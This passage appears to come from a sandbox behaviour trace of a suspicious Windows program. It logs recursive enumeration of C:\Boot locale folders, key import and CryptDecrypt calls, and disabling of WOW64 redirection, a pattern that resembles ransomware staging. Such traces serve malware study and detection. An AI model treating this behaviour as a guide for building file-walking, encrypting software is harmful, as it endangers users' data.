ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0047.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cdf0 [0047.112] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.112] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.112] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.113] FindClose (in: hFindFile=0x10cdf0 | out: hFindFile=0x10cdf0) returned 1 [0047.113] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.113] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0047.113] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0047.113] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0047.113] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0047.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cab0 [0047.114] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.114] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.114] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0047.114] FindNextFileW (in: hFindFile=0x10cab0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0047.114] FindClose (in: hFindFile=0x10cab0 | out: hFindFile=0x10cab0) returned 1 [0047.114] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.114] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="da-DK", cAlternateFileName="")) returned 1 [0047.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cd70 [0047.115] FindNextFileW (in: hFindFile=0x10cd70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.115] FindNextFileW (in: hFindFile=0x10cd70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.115] FindNextFileW (in: hFindFile=0x10cd70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0047.115] FindNextFileW (in: hFindFile=0x10cd70, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0047.115] FindClose (in: hFindFile=0x10cd70 | out: hFindFile=0x10cd70) returned 1 [0047.115] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.115] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="de-DE", cAlternateFileName="")) returned 1 [0047.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10caf0 [0047.116] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.116] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.116] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0047.116] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0047.116] FindClose (in: hFindFile=0x10caf0 | out: hFindFile=0x10caf0) returned 1 [0047.116] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.116] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="el-GR", cAlternateFileName="")) returned 1 [0047.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10d1b0 [0047.117] FindNextFileW (in: hFindFile=0x10d1b0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.117] FindNextFileW (in: hFindFile=0x10d1b0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.117] FindNextFileW (in: hFindFile=0x10d1b0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0047.117] FindNextFileW (in: hFindFile=0x10d1b0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0047.117] FindClose (in: hFindFile=0x10d1b0 | out: hFindFile=0x10d1b0) returned 1 [0047.118] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.118] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="en-GB", cAlternateFileName="")) returned 1 [0047.118] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-GB\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10d0b0 [0047.118] FindNextFileW (in: hFindFile=0x10d0b0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.118] FindNextFileW (in: hFindFile=0x10d0b0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.118] FindNextFileW (in: hFindFile=0x10d0b0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.119] FindClose (in: hFindFile=0x10d0b0 | out: hFindFile=0x10d0b0) returned 1 [0047.119] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.119] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="en-US", cAlternateFileName="")) returned 1 [0047.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10ccb0 Thread: id = 31 os_tid = 0xe64 [0046.467] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x320080 [0046.468] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x10000) returned 0x330088 [0046.468] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x28) returned 0x84f38 [0046.468] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x110102) returned 0x2e68020 [0046.471] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x50) returned 0x84f68 [0046.471] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fd38, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fda0 | out: phKey=0x2a9fda0*=0xf9500) returned 1 [0046.471] CryptSetKeyParam (hKey=0xf9500, dwParam=0x1, pbData=0x2a9fd88, dwFlags=0x0) returned 1 [0046.471] CryptDecrypt (in: hKey=0xf9500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x84f68, pdwDataLen=0x2a9fd54 | out: pbData=0x84f68, pdwDataLen=0x2a9fd54) returned 1 [0046.471] CryptDestroyKey (hKey=0xf9500) returned 1 [0046.471] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.472] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0046.472] Wow64DisableWow64FsRedirection (in: OldValue=0x2a9fdec | out: OldValue=0x2a9fdec*=0x0) returned 1 [0046.472] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x84f68 | out: hHeap=0x80000) returned 1 [0046.472] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.472] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.472] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.472] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.472] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.472] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.472] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.473] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.473] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.473] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.473] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.473] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.473] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.473] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.473] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.473] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.473] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.473] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.474] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.474] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.474] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.474] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.474] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0046.474] WaitForSingleObject 